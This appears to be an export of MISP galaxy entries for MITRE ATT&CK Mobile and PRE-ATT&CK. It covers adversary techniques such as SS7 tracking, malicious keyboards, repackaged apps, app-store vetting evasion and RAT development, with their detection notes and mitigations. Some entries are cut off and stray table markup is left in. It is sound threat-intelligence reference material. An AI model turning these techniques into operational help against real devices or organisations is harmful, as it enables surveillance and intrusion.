On iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Download New Code at Runtime - MOB-T1010"

Exploit SS7 to Track Device Location - MOB-T1053

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).

Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Track Device Location - MOB-T1053"
Malicious Third Party Keyboard App - MOB-T1020

A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.

Both iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Third Party Keyboard App - MOB-T1020"

Exploit OS Vulnerability - MOB-T1007

A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit OS Vulnerability - MOB-T1007"
Remotely Install Application - MOB-T1046

An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Install Application - MOB-T1046"

Remotely Install Application - MOB-T1046 has relationships with:

• revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Modify cached executable code - MOB-T1006

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.

Sabanal describes the potential use of this technique in (Citation: Sabanal-ART).

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify cached executable code - MOB-T1006"

</table>
Application Discovery - MOB-T1021

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.

Platforms: Android, iOS

</table>

Exploit via Charging Station or PC - MOB-T1061

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.

Krebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and...
obtaining the device physical location.

</tbody>
</table>

**Rogue Cellular Base Station - MOB-T1070**

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).

Platforms: Android, iOS
Repackaged Application - MOB-T1047

An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Repackaged Application - MOB-T1047"

Lock User Out of Device - MOB-T1049

An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Lock User Out of Device - MOB-T1049"
Malicious Software Development Tools - MOB-T1065

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS

MITRE
Deploy Compromised Device Detection Method - MOB-M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Deploy Compromised Device Detection Method - MOB-M1010"

Deploy Compromised Device Detection Method - MOB-M1010 has relationships with:

Interconnection Filtering - MOB-M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Interconnection Filtering - MOB-M1014"

Interconnection Filtering - MOB-M1014 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Track Device Location - MOB-T1053" with estimative-language:likelihood-probability="almost-certain"

Use Device-Provided Credential Storage - MOB-M1008

Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Use Device-Provided Credential Storage - MOB-M1008"

Use Device-Provided Credential Storage - MOB-M1008 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data or Credentials in Files - MOB-T1012" with estimative-language:likelihood-probability="almost-certain"
Use Recent OS Version - MOB-M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Use Recent OS Version - MOB-M1006"

Use Recent OS Version - MOB-M1006 has relationships with:

Security Updates - MOB-M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates. * On Android devices, access can be controlled based on each device's security patch level. * On iOS devices, access can be controlled based on the iOS version.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Security Updates - MOB-M1001"

Security Updates - MOB-M1001 has relationships with:

Lock Bootloader - MOB-M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Lock Bootloader - MOB-M1003"

Lock Bootloader - MOB-M1003 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition -"
System Partition Integrity - MOB-M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: `misp-galaxy:mitre-mobile-attack-course-of-action="System Partition Integrity - MOB-M1004"`

System Partition Integrity - MOB-M1004 has relationships with:

Attestation - MOB-M1002

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: `misp-galaxy:mitre-mobile-attack-course-of-action="Attestation - MOB-M1002"`

Attestation - MOB-M1002 has relationships with:

Caution with Device Administrator Access - MOB-M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: `misp-galaxy:mitre-mobile-attack-course-of-action="Caution with Device Administrator Access - MOB-M1007"`

Caution with Device Administrator Access - MOB-M1007 has relationships with:

Application Developer Guidance - MOB-M1013

This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Application Developer Guidance - MOB-M1013"

Application Developer Guidance - MOB-M1013 has relationships with:

Application Vetting - MOB-M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Application Vetting - MOB-M1005"

Application Vetting - MOB-M1005 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009" with estimative-language:likelihood-probability="almost-certain"

User Guidance - MOB-M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="User Guidance - MOB-M1011"

User Guidance - MOB-M1011 has relationships with:

Enterprise Policy - MOB-M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Enterprise Policy - MOB-M1012"

Enterprise Policy - MOB-M1012 has relationships with:

Encrypt Network Traffic - MOB-M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: misp-galaxy:mitre-mobile-attack-course-of-action="Encrypt Network Traffic - MOB-M1009"

Encrypt Network Traffic - MOB-M1009 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Rogue Cellular Base Station - MOB-T1070" with estimative-language:likelihood-probability="almost-certain"

Mobile Attack - Intrusion Set

Name of ATT&CK Group.
Mobile Attack - Intrusion Set is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

MITRE

Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170"
Obfuscate infrastructure - PRE-T1108

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1108"

Obfuscate infrastructure - PRE-T1108 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1086" with estimative-language:likelihood-probability="almost-certain"

Create backup infrastructure - PRE-T1116

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).
**Assess targeting options - PRE-T1073**

An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).

**Receive operator KITs/KIQs tasking - PRE-T1012**

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

**Detectable by Common Defenses:** No

**Detectable by Common Defenses explanation:** Outside of highly specific or rare HW, nearly impossible to detect and track.

**Difficulty for the Adversary:** Yes

**Difficulty for the Adversary explanation:** Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com](https://aws.amazon.com) AWS, VPS).

Identify security defensive capabilities - PRE-T1040

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

**Detectable by Common Defenses:** Yes

**Detectable by Common Defenses explanation:** Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).

**Difficulty for the Adversary:** No
Difficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Identify security defensive capabilities - PRE-T1040"`

</tbody>
</table>

**Derive intelligence requirements - PRE-T1007**

Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Derive intelligence requirements - PRE-T1007"`

</tbody>
</table>

**Domain Generation Algorithms (DGA) - PRE-T1100**

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.
Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Domain Generation Algorithms (DGA) - PRE-T1100"

</tbody>
</table>

**Leverage compromised 3rd party resources - PRE-T1152**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Leverage compromised 3rd party resources - PRE-T1152"

</tr>
</tbody>
</table>

**Review logs and residual traces - PRE-T1135**

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different
conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Review logs and residual traces - PRE-T1135"

Table 3713. Table References

</table>

**Identify job postings and needs/gaps - PRE-T1025**

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1025"

Identify job postings and needs/gaps - PRE-T1025 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1055" with estimative-language:likelihood-probability="almost-certain"

Spear phishing messages with malicious attachments - PRE-T1144

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with malicious attachments - PRE-T1144"

Table 3715. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144

SSL certificate acquisition for trust breaking - PRE-T1115

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they’ve been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].
Difficulty for the Adversary: No

Difficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="SSL certificate acquisition for trust breaking - PRE-T1115"

</tbody>
</table>

**Proxy/protocol relays - PRE-T1081**

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Proxy/protocol relays - PRE-T1081"

**Determine domain and IP address space - PRE-T1027**

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public or easily obtainable information by design.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: AS and IANA data are easily available, existing research
Remote access tool development - PRE-T1128

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.

Push-notification client-side exploit - PRE-T1150

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are
joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Push-notification client-side exploit - PRE-T1150"

**Submit KITs, KIQs, and intelligence requirements - PRE-T1014**

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204)
Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Submit KITs, KIQs, and intelligence requirements - PRE-T1014"

### Misattributable credentials - PRE-T1099

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSL.Certs)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Misattributable credentials - PRE-T1099"

Create strategic plan - PRE-T1008

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Create strategic plan - PRE-T1008"

Assess vulnerability of 3rd party vendors - PRE-T1075

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Assess vulnerability of 3rd party vendors - PRE-T1075"

**Authentication attempt - PRE-T1158**

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Authentication attempt - PRE-T1158"`

---

**Domain registration hijacking - PRE-T1103**

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.

The tag is: `misp-galaxy:mitre-pre-attack-attack-pattern="Domain registration hijacking - PRE-T1103"`
Analyze organizational skillsets and deficiencies - PRE-T1077

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.

The tag is: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1077"

Analyze organizational skillsets and deficiencies - PRE-T1077 has relationships with:

• related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1074" with estimative-language:likelihood-probability="almost-certain"

</table>

Conduct active scanning - PRE-T1031

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.
Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149

